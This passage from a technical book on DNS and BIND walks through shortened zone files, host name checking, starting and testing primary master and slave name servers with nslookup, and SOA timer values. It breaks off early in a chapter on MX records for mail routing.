Since 249.249.192.in-addr.arpa is the origin, we could have entered:

2  IN PTR robocop.movie.edu.

Remember we warned you earlier not to omit the trailing dot when using the long names? Suppose you forgot the trailing dot. An entry like:

robocop.movie.edu    IN A     192.249.249.2

turns into an entry for robocop.movie.edu.movie.edu, and you didn't intend that at all.

4.4.2 @ Notation

If the domain name is the same as the origin, the name can be specified as "@". This is most often seen in the SOA record of the db files. The SOA records could have been entered this way:

@ IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

4.4.3 Repeat Last Name

If a resource record name (that starts in column one) is a space or tab, then the name from the last resource record is used. You would use this if there were multiple resource records for a name. Here is an example where there are two address records for one name:

wormhole   IN A     192.249.249.1
           IN A     192.253.253.1

In the second address record, the name wormhole is implied. You can use this shortcut even if the resource records are of different types.

4.4.4 The Shortened db Files

Now that we have shown you the abbreviations, we'll repeat the db files, making use of these shortcuts.

Here are the contents of the file db.movie:

;
; Origin added to names not ending
; in a dot: movie.edu
;

@ IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

;
; Name servers (The name '@' is implied)
;
           IN NS  terminator.movie.edu.
           IN NS  wormhole.movie.edu.

;
; Addresses for the canonical names
;
localhost  IN A     127.0.0.1
robocop    IN A     192.249.249.2
terminator IN A     192.249.249.3
diehard    IN A     192.249.249.4
misery     IN A     192.253.253.2
shining    IN A     192.253.253.3
carrie     IN A     192.253.253.4

wormhole   IN A     192.249.249.1
           IN A     192.253.253.1

;
; Aliases
;
bigt       IN CNAME terminator
dh         IN CNAME diehard
wh         IN CNAME wormhole

;
; Interface specific names
;
wh249      IN A     192.249.249.1
wh253      IN A     192.253.253.1

Here are the contents of the file db.192.249.249:

;
; Origin added to names not ending
; in a dot: 249.249.192.in-addr.arpa
;

@ IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

;
; Name servers (The name '@' is implied)
;
   IN NS  terminator.movie.edu.
   IN NS  wormhole.movie.edu.

;
; Addresses point to canonical name
;
1  IN PTR wormhole.movie.edu.
2  IN PTR robocop.movie.edu.
3  IN PTR terminator.movie.edu.
4  IN PTR diehard.movie.edu.

Here are the contents of the file db.192.253.253:

;
; Origin added to names not ending
; in a dot: 253.253.192.in-addr.arpa
;

@ IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

;
; Name servers (The name '@' is implied)
;
   IN NS  terminator.movie.edu.
   IN NS  wormhole.movie.edu.

;
; Addresses point to canonical name
;
1  IN PTR wormhole.movie.edu.
2  IN PTR misery.movie.edu.
3  IN PTR shining.movie.edu.
4  IN PTR carrie.movie.edu.

Here are the contents of the file db.127.0.0:

@ IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

   IN NS  terminator.movie.edu.
   IN NS  wormhole.movie.edu.

1  IN PTR localhost.

While looking at the new db.movie file, you may notice that we could have removed movie.edu from the host names of the SOA and NS records like this:

@ IN SOA terminator al.robocop (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

  IN NS  terminator
  IN NS  wormhole

You can't do this in the other db files because their origins are different. In db.movie, we left these names as fully qualified domain names so that the NS and SOA records are exactly the same for all the db files.

Previous: 4.3 Setting Up a BIND Configuration File | DNS & BIND | Next: 4.5 Host Name Checking (BIND 4.9.4 and Later Versions)
4.3 Setting Up a BIND Configuration File | Book Index | 4.5 Host Name Checking (BIND 4.9.4 and Later Versions)


[Chapter 4] 4.5 Host Name Checking (BIND 4.9.4 and Later Versions)

DNS & BIND

DNS & BINDSearch this book
Previous: 4.4 Abbreviations Chapter 4
Setting Up BIND 		Next: 4.6 Tools

4.5 Host Name Checking (BIND 4.9.4 and Later Versions)

If your name server is older than BIND 4.9.4, skip to the next section.

If your name server is BIND 4.9.4 or newer, you have to pay extra attention to how your hosts are named. Starting with version 4.9.4, BIND checks host names for conformance to RFC 952. If a host name does not conform, BIND considers the zone to have a syntax error.

Before you panic, you need to know that this checking only applies to names that are considered host names. Remember, resource records have a name field and a data field, for example:

<name>      <class>  <type>  <data>
terminator  IN       A       192.249.249.3

Host names are in the name field of A (address) and MX (covered in Chapter 5, DNS and Electronic Mail) records. Host names are in the data fields of SOA and NS records. At least in version 4.9.4, CNAMEs do not have to conform to the host naming rules because they can point to names that are not host names.

Here are the host naming rules: host names are allowed to have alphabetic characters and numeric characters in each label. The following are valid host names:

ID4            IN A 192.249.249.10
postmanring2x  IN A 192.249.249.11

A hyphen is allowed if it is in the middle of a label:

fx-gateway     IN A 192.249.249.12

NOTE: Underscores are not allowed in host names.

Names that are not host names can consist of any printable ASCII character.

If the resource record data field calls for a mail address (SOA records), the first label can contain any printable character, since it is not a host name, but the rest of the labels must follow the host name syntax described above. For example, a mail address has the following syntax:

<ASCII-characters>.<hostname-characters>

For example, if your mail address is key_grip@movie.edu, you can still use it in an SOA record, even with the underscore. Remember, in a mail address you replace the "@" with a ".":

movie.edu. IN SOA terminator.movie.edu. key_grip.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

This extra level of checking might cause dramatic problems to sites that upgrade from a liberal version of BIND to a conservative one, especially sites that standardized on names containing an underscore. If you need to postpone changing names until later (you will still change them, right?), this feature can be toned down to warning messages or simply ignored altogether. The following version 4 configuration file statement turns the errors into warning messages:

check-names primary warn

Here is the equivalent version 8 line:

options {
        check-names master warn;
};

The warning messages are logged with syslog, which we will explain shortly. The following version 4 configuration file statement ignores the errors:

check-names primary ignore

Here is the equivalent version 8 line:

options {
        check-names master ignore;
};

If the nonconforming names came from a zone that you back up (and have no control over), then add a similar statement that specifies secondary instead of primary:

check-names secondary ignore

For version 8, use slave instead of secondary:

options {
        check-names slave ignore;
};

And if the names came in responses to queries, and not in zone transfers, specify response instead:

check-names response ignore

For version 8:

options {
        check-names response ignore;
};

Here are the 4.9.4 defaults:

check-names primary fail
check-names secondary warn
check-names response ignore

Here are the version 8 defaults:

options {
        check-names master fail;
        check-names slave warn;
        check-names response ignore;
};

For version 8, the name checking can be specified on a per-zone basis, in which case it overrides the options statement:

zone "movie.edu" in {
        type master;
        file "db.movie";
        check-names fail;
};

NOTE: The options line contains 3 fields (check-names master fail), whereas the zone line check contains only 2 fields (check-names fail). This is because the zone line already specifies the type (type master).

Previous: 4.4 Abbreviations | DNS & BIND | Next: 4.6 Tools
4.4 Abbreviations | Book Index | 4.6 Tools


[Chapter 4] 4.6 Tools

DNS & BIND

DNS & BINDSearch this book
Previous: 4.5 Host Name Checking (BIND 4.9.4 and Later Versions) Chapter 4
Setting Up BIND 		Next: 4.7 Running a Primary Master Name Server

4.6 Tools

Wouldn't it be handy to have a tool to translate your host table into name server file format? There is such a beast, written in Perl: h2n - a host table to name server file converter. You can use h2n to create your data the first time and then maintain your DNS data manually. Or, you can use h2n over and over again. As you have seen, the format of the host table is much simpler to understand and to modify correctly. So, you could maintain /etc/hosts and rerun h2n to update your DNS data after each modification.

If you plan to use h2n, you might as well start with it, since it uses /etc/hosts - not your hand-crafted DNS data - to generate the new DNS files. We could have saved ourselves lots of work by generating the sample data in this chapter with the following:

% h2n -d movie.edu -s terminator -s robocop \
  -n 192.249.249 -n 192.253.253 \
  -u al.robocop.movie.edu

(To generate a version 8 configuration file, add -v 8 to the option list.)

The -d and -n options specify the domain name and network numbers. You'll notice that the db filenames are derived from these options. The -s options list the name servers for the NS records. The -u (user) is the email address in the SOA record. We'll cover h2n in more detail in Chapter 7, after we've covered how DNS affects email.

Previous: 4.5 Host Name Checking (BIND 4.9.4 and Later Versions) | DNS & BIND | Next: 4.7 Running a Primary Master Name Server
4.5 Host Name Checking (BIND 4.9.4 and Later Versions) | Book Index | 4.7 Running a Primary Master Name Server


[Chapter 4] 4.7 Running a Primary Master Name Server

DNS & BIND

DNS & BINDSearch this book
Previous: 4.6 Tools Chapter 4
Setting Up BIND 		Next: 4.8 Running a Slave Name Server

4.7 Running a Primary Master Name Server

Now that you've created your DNS database files, you are ready to start a couple of name servers. You'll need to set up two name servers: a primary master name server and a slave name server. Before you start a name server, though, make sure the syslog daemon is running. If the name server sees an error, it logs a message to the syslog daemon. If the error is bad enough, the name server will exit.

4.7.1 Starting Up the Name Server

At this point, we assume the machine you are running on has the BIND name server and the support tool nslookup. Check the named manual page to find the directory the server is in and verify that the executable is on your system. On BSD systems, the name server started its life in /etc, but may have migrated elsewhere. Other places to look for named are /usr/etc/in.named and /usr/sbin/in.named. The descriptions below assume that the name server is still in /etc.

To start up the name server, you must become root. The name server operates on a reserved port requiring root privileges. The name server doesn't require root access for anything else. Start the name server from the command line the first time you run it, to test that it is operating correctly. Later, we'll show you how to start up the name server automatically when your system boots.

The following command starts the name server. In the movie.edu domain, we ran this command on the host terminator:

# /etc/named

This command assumes that your configuration file is /etc/named.boot (version 4) or /etc/named.conf (version 8). You can have your configuration file elsewhere, but you have to tell the name server where it is using the -b command-line option:

# /etc/named -b conf-file

4.7.2 Check for Syslog Errors

The first thing to do after starting your name server is to check the syslog file for error messages. If you are not familiar with syslog, look at the syslog.conf manual page for a description of the syslog configuration file, or the syslogd manual page for a description of the syslog daemon. The name server logs messages as daemon under the name named. You might be able to find out where syslog messages are logged by looking for daemon in /etc/syslog.conf:

% grep daemon /etc/syslog.conf
*.err;kern.debug;daemon,auth.notice /var/adm/messages

On this host, the name server syslog messages are logged to /var/adm/messages, and syslog only saves the ones that are LOG_NOTICE or higher. Some useful messages are sent at LOG_INFO - you might like to see some of these. You can decide if you want to change the log level after reading Chapter 7, where we cover syslog messages in more detail.

When the name server starts, it logs a starting message:

% grep named /var/adm/messages
Jan 10 20:48:32 terminator named[3221]: starting.

The starting message is not an error message, but there might be other messages with it that are error messages. (If your server used restarted instead of starting, that's okay too. The message changed at BIND 4.9.3.) The most common errors are syntax errors in the db files or configuration file. For example, if you forgot the resource record type in an address record:

robocop  IN  192.249.249.2

you'll see the following syslog error messages:

Jan 10 20:48:32 terminator named[3221]: Line 13: Unknown type:
                192.249.249.2
Jan 10 20:48:32 terminator named[3221]: db.movie Line 13:
                database format error (192.249.249.2)

Or, if you misspelled the word "zone" in /etc/named.conf:

zne "movie.edu" in {

you'll see the following syslog error message:

Mar 22 20:14:21 terminator named[1477]: named.conf:10:
                syntax error near `zne'

If BIND version 4.9.4 or later finds a name that doesn't conform to RFC 952, you'll see the following syslog error message:

Jul 24 20:56:26 terminator named[1496]: owner name "ID_4.movie.edu IN"
                                     (primary) is invalid - rejecting

If you have a syntax error, check the line mentioned in the syslog error message to see if you can figure out the problem. You've seen what the db files are supposed to look like; that should be enough to figure out most simple syntax errors. Otherwise, you'll have to go through Appendix A, DNS Message Format and Resource Records, to see the gory syntax details of all the resource records. If you can fix the syntax error, do so and then send the name server a HUP signal:

# kill -HUP <pid>

so that it rereads the data files. You'll see more information in Chapter 7 on sending signals to the name server.

4.7.3 Testing Your Setup with nslookup

If you have correctly set up your local domain, and your connection to the Internet is up, you should be able to look up a local and a remote name. We'll step you through the lookups below with nslookup. There is a whole chapter in this book on nslookup (Chapter 11, nslookup), but we will cover nslookup in enough detail here to do basic name server testing.

4.7.3.1 Initialize the default domain name

Before running nslookup, you need to initialize the default domain name. With this in place, you can look up a name like carrie instead of spelling out carrie.movie.edu - the system adds the domain for you.

There are two ways to initialize the default domain: hostname(1) or /etc/resolv.conf. Some people say that, in practice, more sites initialize the default domain in /etc/resolv.conf. You can use either. Throughout the book, we assume the default domain comes from hostname(1).

Create a file called /etc/resolv.conf with the following line starting in column one (substitute your domain name for movie.edu):

domain movie.edu

Or, set hostname(1) to be a domain name. On the host terminator, we set hostname(1) to terminator.movie.edu. Don't add a trailing dot to the name.

4.7.3.2 Look up a local name

nslookup can be used to look up any type of resource record, and it can be directed to query any name server. By default, it looks up A (address) records using the name server on the local system. To look up a host's address with nslookup, run nslookup with the host's name as the only argument. A lookup of a local name should return almost instantly.

We ran nslookup to look up carrie:

% nslookup carrie
Server: terminator.movie.edu
Address: 192.249.249.3

Name:    carrie.movie.edu
Address: 192.253.253.4

If looking up a local name works, your local name server has been configured properly for your domain. If the lookup fails, you'll see something like this:

*** terminator.movie.edu can't find carrie: Non-existent domain

This means that either carrie is not in your data - check your db file - or you didn't set your default domain in hostname(1), or some name server error occurred (but you should have caught the error when you checked the syslog messages).

4.7.3.3 Look up a local address

When nslookup is given an address to look up, it knows to make a PTR query instead of an address query. We ran nslookup to look up carrie's address:

% nslookup 192.253.253.4
Server: terminator.movie.edu
Address: 192.249.249.3

Name:    carrie.movie.edu
Address: 192.253.253.4

If looking up an address works, your local name server has been configured properly for your in-addr.arpa domain. If the lookup fails, you'll see the same error messages as when you looked up a name.

4.7.3.4 Look up a remote name

The next step is to try using the local name server to look up a remote name, like ftp.uu.net, or another system you know on the Internet. This command may not return as quickly as the last one. If nslookup fails to get a response from your name server, it will wait a little longer than a minute before giving up:

% nslookup ftp.uu.net.
Server: terminator.movie.edu
Address: 192.249.249.3

Name:      ftp.uu.net
Addresses: 192.48.96.9

If this works, your name server knows where the root name servers are and knows how to contact them to find information about domains other than your own. If it fails, either you forgot to initialize the cache file (and a syslog message will show up) or the network is broken somewhere and you can't reach the name servers for the remote domain. Try a different remote domain name.

If these first lookups succeeded, congratulations! You have a primary master name server up and running. At this point, you are ready to start configuring your slave name server.

4.7.3.5 One more test

While you are testing, though, run one more test. Try having a remote name server look up a name in your domain. This is only going to work if your parent name servers have already delegated your domain to the name server you just set up. If your parent required you to have your two name servers running before delegating your domain, skip ahead to the next section, Section 4.7.4, "Editing the Startup Files."

To make nslookup use a remote name server to look up a local name, give the local host's name as the first argument, and the remote server's name as the second argument. Again, if this doesn't work, it may take a little longer than a minute before nslookup gives you an error message. For instance, to have gatekeeper.dec.com look up carrie:

% nslookup carrie gatekeeper.dec.com.
Server: gatekeeper.dec.com.
Address: 204.123.2.2

Name:    carrie.movie.edu
Address: 192.253.253.4

If the first two lookups worked, but using a remote name server to look up a local name failed, your domain may not be registered with your parent name server. That is not a problem, at first, because systems within your domain can look up the names of other systems within your domain and outside of your domain. You'll be able to send email and to ftp to local and remote systems. Some systems won't allow ftp connections if they can't map your address back to a name. But not being registered will shortly become a problem. Hosts outside of your domain cannot look up names within your domain. You will be able to send email to friends in remote domains, but you won't get their responses. To fix this problem, contact someone responsible for your parent domain and have them check the delegation of your domain.

4.7.4 Editing the Startup Files

Once you have confirmed that your name server is running properly and can be used from here on, you'll need to start it automatically and set hostname(1) to a domain name in your system's startup files. Check to see if your vendor has already set up the name server to start on bootup. You may have to remove comment characters from the startup lines, or the startup file may test to see if /etc/named.conf exists. To look for automatic startup lines, use:

% grep named /etc/*rc*

or, if you have System V style rc files, use:

% grep named /etc/rc*/S*

If you don't find anything, add lines like the following to the appropriate startup file somewhere after your interfaces are initialized by ifconfig:

if test -x /etc/named -a -f /etc/named.conf
then
        echo "Starting named"
        /etc/named
fi

You may want to wait to start the name server until after the default route is installed or your routing daemon (routed or gated) is started, depending upon whether these services need the name server or can get by with /etc/hosts.

Find out which startup file initializes the host name. Change hostname(1) to a domain name. For example, we changed:

hostname terminator

to:

hostname terminator.movie.edu

Previous: 4.6 Tools | DNS & BIND | Next: 4.8 Running a Slave Name Server
4.6 Tools | Book Index | 4.8 Running a Slave Name Server


[Chapter 4] 4.8 Running a Slave Name Server

DNS & BIND

DNS & BINDSearch this book
Previous: 4.7 Running a Primary Master Name Server Chapter 4
Setting Up BIND 		Next: 4.9 Adding More Domains

4.8 Running a Slave Name Server

You need to set up another name server for robustness. You can (and probably will) set up more than two name servers. Two servers are the minimum. If you have only one name server and it goes down, no one can look up names. A second name server splits the load with the first server or handles the whole load if the first server is down. You could set up another primary master name server, but we don't recommend it. Set up a slave name server. You can always change a slave name server into a primary master name server later if you decide that you want to expend the extra work it takes to run multiple primary master name servers.

How does a server know if it is a primary master or a slave for a zone? The named.conf file tells the server it is a primary master or a slave on a per-zone basis. The NS records don't tell us which servers are the primary master for a zone and which servers are slave for a zone - they only say who the servers are. (Globally, DNS doesn't care; as far as the actual name resolution goes, slave servers are as good as primary master servers.)

What is different between a primary master name server and a slave name server? The crucial difference is where the server gets its data. A primary master name server reads its data from files. A slave name server loads its data over the network from another name server. This process is called a zone transfer.

A slave name server is not limited to loading zones from a primary master name server; a slave server can load from another slave server.

The big advantage of slave name servers is that you only maintain one set of the DNS database files, the ones on the primary master name server. You don't have to worry about synchronizing the files among name servers; the slaves do that for you. The caveat is that a slave does not resynchronize instantly. It polls to see if it is current. The polling interval is one of those numbers in the SOA record that we haven't explained yet. (BIND version 8 speeds up the distribution of zone data, which we will describe later.)

A slave name server doesn't need to retrieve all of its db files over the network; the overhead files, db.cache and db.127.0.0, are the same as on a primary master, so keep a local copy on the slave. That means that a slave name server is a primary master for 0.0.127.in-addr.arpa. Well, you could make it a slave for 0.0.127.in-addr.arpa, but that data never changes - it might as well be a primary master.

4.8.1 Setup

To set up your slave name server, create a directory for the db files on the slave name server host (e.g., /usr/local/named) and copy over the files /etc/named.conf, db.cache, and db.127.0.0:

# rcp /etc/named.conf host:/etc
# rcp db.cache db.127.0.0 host:db-file-directory

You must modify /etc/named.conf on the slave name server host. For version 4, change every occurrence of primary to secondary except for 0.0.127.in-addr.arpa. Before the filename on each of these lines, add the IP address of the primary master server you just set up. For example, if the original version 4 configuration file line was this:

primary  movie.edu      db.movie

then the modified line looks like:

secondary  movie.edu      192.249.249.3 db.movie

If the original version 8 configuration file line was:

zone "movie.edu" in {
      type master;
      file "db.movie";
};

change master to slave and add a masters line with the IP address of the master server:

zone "movie.edu" in {
      type slave;
      file "db.movie";
      masters { 192.249.249.3; };
};

This tells the name server that it is a slave for the zone movie.edu and that it should track the version of this zone that is being kept on the host 192.249.249.3. The slave name server will keep a backup copy of this zone in the local file db.movie.

For Movie U., we set up our slave name server on wormhole. Recall that the configuration file on terminator (the primary master) looked like this:

directory /usr/local/named

primary  movie.edu                db.movie
primary  249.249.192.in-addr.arpa db.192.249.249
primary  253.253.192.in-addr.arpa db.192.253.253
primary  0.0.127.in-addr.arpa     db.127.0.0
cache    .                        db.cache

We copied /etc/named.conf, db.cache, and db.127.0.0 to wormhole and edited the configuration file as described above. The version 4 configuration file on wormhole now looks like this:

directory /usr/local/named

secondary  movie.edu                192.249.249.3 db.movie
secondary  249.249.192.in-addr.arpa 192.249.249.3 db.192.249.249
secondary  253.253.192.in-addr.arpa 192.249.249.3 db.192.253.253
primary    0.0.127.in-addr.arpa     db.127.0.0
cache      .                        db.cache

The equivalent version 8 configuration file looks like this:

options {
        directory "/usr/local/named";
};

zone "movie.edu" in {
        type slave;
        file "db.movie";
        masters { 192.249.249.3; };
};

zone "249.249.192.in-addr.arpa" in {
        type slave;
        file "db.192.249.249";
        masters { 192.249.249.3; };
};

zone "253.253.192.in-addr.arpa" in {
        type slave;
        file "db.192.253.253";
        masters { 192.249.249.3; };
};

zone "0.0.127.in-addr.arpa" in {
        type master;
        file "db.127.0.0";
};

zone "." in {
        type hint;
        file "db.cache";
};

This causes the name server on wormhole to load movie.edu, 249.249.192.in-addr.arpa, and 253.253.192.in-addr.arpa over the network from 192.249.249.3 (terminator). It also saves a backup copy of these files in /usr/local/named. You may find it handy to isolate the backup files in a subdirectory or to name them with a unique suffix like .bak; on rare occasions, you may have to delete all of the backup files manually. We'll cover more on backup files later.

Start up the slave name server. Check for error messages in the syslog file as you did for the primary master server. As on the primary master, the command to start up a name server is:

# /etc/named

One extra check to make on the slave that you didn't have to make on the primary master is to see that the name server created the backup files. Shortly after we started our slave name server on wormhole, we saw db.movie, db.192.249.249, and db.192.253.253 show up in the /usr/local/named directory. This means the slave has successfully loaded these zones from the primary master and has saved a backup copy.

To complete setting up your slave name server, try looking up the same names you looked up when the primary master server was started. This time nslookup must be run on the slave name server host so that the slave server is queried. If your slave is working fine, add the proper lines to your system startup files so that the slave name server is started when your system boots up and hostname(1) is set to a domain name.

4.8.2 Backup Files

Slave servers are not required to save a backup copy of the zone data. If there is a backup copy, the slave server reads it on startup and later checks with the master server to see if the master server has a newer copy, instead of loading a new copy of the zone immediately. If the master server has a newer copy, the slave pulls it over and saves it in the backup file.

Why save a backup copy? Suppose the master server is down when the slave starts up. The slave will be unable to transfer the zone and therefore won't function as a server for that zone until the master server is up. With a backup copy, the slave has some data, although it might be slightly out of date. Since the slave does not rely on the master server always being up, it is a more robust system.

To run without a backup copy, omit the filename at the end of the secondary lines in the version 4 configuration file. In version 8, remove the file line. We recommend having all your slave servers save backup copies, though. There is very little extra cost to having a backup file, but there is a very high cost if you get caught without a backup file when you need it most.

4.8.3 Multiple Master Servers

Are there other ways to make your slave server configuration more robust? Yes, you can specify up to ten IP addresses of master servers. In a version 4 configuration file, just add them after the first IP address, before the backup filename. In a version 8 configuration file, add them after the first IP address and terminate them with semicolons:

masters { 192.249.249.3; 192.249.249.4; };

The slave will try the master server at each IP address, in the order listed, until it successfully transfers the zone. The intent of this feature is to allow you to list all the IP addresses of the host running the primary master for the zone if that host is multihomed. But, since there is no check made that the contacted server is a primary master or slave, you can list the IP addresses of hosts running slave servers for the zone, if that makes sense for your setup.

4.8.4 SOA Values

Remember this SOA record?

movie.edu. IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

We never explained what the values in between the parentheses were for.

The serial number applies to all the data within the zone. We chose to start our serial number at 1, a logical place to start. But, many people find it more useful to use the date in the serial number instead, like 1997102301. This format is YYYYMMDDNN, where Y is the year, M is the month, D is the day, and NN is a count of how many times the zone data were modified that day. Whatever you choose, it's important that this number always increase when you update your zone data.

When a slave name server contacts a master server for zone data, it first asks for the serial number on the data. If the slave's serial number is lower than the master server's, the slave's zone data are out of date. In this case, the slave pulls a new copy of the zone. When a slave starts up and there is no backup file to read, it always loads the zone. As you might guess, when you modify the db files on the primary master, you must increment the serial number. Updating your db files is covered in Chapter 7.

The next four fields specify various time intervals in seconds:

refresh

The refresh interval tells the slave how often to check that its data are up to date. To give you an idea of the system load this feature causes, a slave will make one SOA query per zone per refresh interval. The value we choose, three hours, is reasonably aggressive. Most users will tolerate a delay of half of a working day for things like name server data to propagate when they are waiting for their new workstation to be operational. If you provide one-day service for your site, consider raising this value to eight hours. If your data don't change very often, or if all of your slaves are spread over long distances (as the root name servers are), consider a value that is even longer: 24 hours.

retry

If the slave fails to reach the master name server(s) after the refresh period (the host(s) could be down), then it starts trying to connect every retry seconds. Normally, the retry interval is shorter than the refresh interval, but it doesn't have to be.

expire

If the slave fails to contact the master server(s) for expire seconds, the slave expires its data. Expiring the data means the slave stops giving out answers about the data because the data are too old to be useful. Essentially, this field says: at some point, the data are so old that having no data is better than having stale data. Expire times on the order of a week are common - longer (up to a month) if you frequently have problems reaching your updating source. The expiration time should always be much larger than the retry and refresh intervals; if the expire time is smaller than the refresh interval, your slaves will expire their data before trying to load new data.

TTL

TTL stands for time to live. This value applies to all the resource records in the db file. The name server supplies this TTL in query responses, allowing other servers to cache the data for the TTL interval. If your data don't change much, you might consider using a minimum TTL of several days. One week is about the longest value that makes sense. A value as short as one hour can be used, but it is not recommended because of the amount of DNS traffic it causes.

What values you choose for your SOA record will depend upon the needs of your site. In general, longer times cause less load on your systems and lengthen the propagation of changes; shorter times increase the load on your systems and speed up the propagation of changes. The values we use in this book should work well for most sites. RFC 1537 recommends the following values for top-level domain servers:

       86400 ;  Refresh        24 hours
        7200 ;  Retry           2 hours
     2592000 ;  Expire         30 days
      345600 ;  Minimum TTL     4 days

There is one implementation feature you need to be aware of. Older versions (pre-4.8.3) of BIND slaves stopped answering queries during a zone load. As a result, BIND was modified to spread out the zone loads, reducing the periods of unavailability. So, even if you set a low refresh interval, your slaves may not check as often as you request. BIND attempts a certain number of zone loads and then waits 15 minutes before trying another batch.

Now that we've told you all about how slave servers poll to keep their data up-to-date, BIND version 8 changed how zone data propagates! The polling feature is still there, but version 8 adds a notification when zone data changes. If both your primary master server and your slaves are version 8, the primary master will notify the slave that a zone has changed within 15 minutes of loading a new copy of that zone. The notification causes the slave server to shorten the refresh interval and attempt to load the zone immediately. We'll discuss this more in Chapter 10.

Previous: 4.7 Running a Primary Master Name Server | DNS & BIND | Next: 4.9 Adding More Domains
4.7 Running a Primary Master Name Server | Book Index | 4.9 Adding More Domains


[Chapter 4] 4.9 Adding More Domains

DNS & BIND

DNS & BINDSearch this book
Previous: 4.8 Running a Slave Name Server Chapter 4
Setting Up BIND 		Next: 4.10 What Next?

4.9 Adding More Domains

Now that you have your name servers running, you might want to support more domains. What needs to be done? Nothing special, really. All you need to do is add more primary or secondary statements (version 4) or zone statements (version 8) to your configuration file. You can even add secondary lines to your primary master server, and primary lines to your slave server. (You may have already noticed that your slave server was primary master for 0.0.127.in-addr.arpa.)

At this point, it's useful to repeat something we said in an earlier chapter. Calling a given name server a primary master name server or a slave name server is a little silly. Name servers can be authoritative for more than one zone. A name server can be a primary master for one zone, and a slave for another. Most name servers, however, are either primary master for most of the zones they load or slave for most of the zones they load. So if we call a particular name server a primary master or a slave, we mean that it's the primary master or a slave for most of the zones it loads.

Previous: 4.8 Running a Slave Name Server | DNS & BIND | Next: 4.10 What Next?
4.8 Running a Slave Name Server | Book Index | 4.10 What Next?


[Chapter 4] 4.10 What Next?

DNS & BIND

DNS & BINDSearch this book
Previous: 4.9 Adding More Domains Chapter 4
Setting Up BIND 		Next: 5. DNS and Electronic Mail

4.10 What Next?

In this chapter, we showed you how to create name server data files by translating /etc/hosts to equivalent name server data, and how to set up a primary master and a slave name server. There is more work to do to complete setting up your local domain: you need to modify your DNS data for email, configure the other hosts in your domain to use name servers, and you may need to start up more name servers. These topics are covered in the next few chapters.

Previous: 4.9 Adding More Domains | DNS & BIND | Next: 5. DNS and Electronic Mail
4.9 Adding More Domains | Book Index | 5. DNS and Electronic Mail


[Chapter 5] DNS and Electronic Mail

DNS & BIND

DNS & BINDSearch this book
Previous: 4.10 What Next? Chapter 5 Next: 5.2 What's a Mail Exchanger, Again?

5. DNS and Electronic Mail

Contents:
MX Records
What's a Mail Exchanger, Again?
The MX Algorithm

And here Alice began to get rather sleepy, and went on saying to herself, in a dreamy sort of way, "Do cats eat bats? Do cats eat bats?" and sometimes "Do bats eat cats?" for, you see, as she couldn't answer either question, it didn't much matter which way she put it.

I'll bet you're drowsy too, after that looong chapter. Thankfully, this next chapter discusses a topic that will probably be very interesting to you system administrators and postmasters: how DNS impacts electronic mail. And even if it isn't interesting to you, at least it's shorter than the last chapter.

One of the advantages of the Domain Name System over host tables is its support of advanced mail routing. When mailers only had the HOSTS.TXT file (and its derivative, /etc/hosts) to work with, the best they could do was to attempt delivery to a host's IP address. If that failed, they could either defer delivery of the message and try again later, or bounce the message back to the sender.

DNS offers a mechanism for specifying backup hosts for mail delivery. The mechanism also allows hosts to assume mail handling responsibilities for other hosts. This lets diskless hosts that don't run mailers, for example, have mail addressed to them processed by their server. Together, these features give administrators much more flexibility in configuring electronic mail on their network.

5.1 MX Records

DNS uses a single type of resource record to implement enhanced mail routing, the MX record. Originally, this functionality was split between two records, the MD (mail destination) and MF (mail forwarder) records. MD specified the final destination to which a message addressed to a given domain name should be delivered. MF specified a host that would forward mail on to the eventual destination, should that destination be unreachable.

Early experience with DNS on the Internet showed that separating the functionality didn't work very well. A mailer needed both the MD and MF records attached to a domain name (if both existed) to decide where to send the mail - one or the other alone wouldn't do. But an explicit lookup of one type or another (either MD or MF) would cause a name server to cache just that record type. So mailers either had to do two queries, one for MD and one for MF data, or they could no longer accept cached answers. This meant that the overhead of running mail was higher than that of running other services, and was eventually deemed unacceptable.

The two records were integrated into a single record type, MX, to solve this problem. Now a mailer just needed all the MX records for a particular domain name destination to make a mail routing decision. Using cached MX records was fine, as long as the TTLs matched.

MX records specify a mail exchanger for a domain name: a host that will either process or forward mail for the domain name (through a firewall, for example). "Processing" the mail means either delivering it to the individual it's addressed to, or gatewaying it to another mail transport, like UUCP. "Forwarding" means sending it to its final destination or to another mail exchanger "closer" to the destination via SMTP, the Internet's Simple Mail Transfer Protocol. Sometimes forwarding the mail involves queuing it for some amount of time, too.

In order to prevent mail routing loops, the MX record has an extra parameter, besides the domain name of the mail exchanger: a preference value. The preference value is an unsigned 16-bit number (between 0 and 65535) that indicates the mail exchanger's priority. For example, the MX record:

peets.mpk.ca.us.    IN    MX    10 relay.hp.com.

specifies that relay.hp.com is a mail exchanger for peets.mpk.ca.us at preference value 10.

Taken together, the preference values of a host's mail exchangers determine the order in which a mailer should use them. The preference value itself isn't important, only its relationship to the values of other mail exchangers: is it higher or lower than the values of this host's other mail exchangers? Unless there are other records involved:

plange.puntacana.dr.  IN  MX  1 listo.puntacana.dr.
plange.puntacana.dr.  IN  MX  2 hep.puntacana.dr.

does exactly the same thing as:

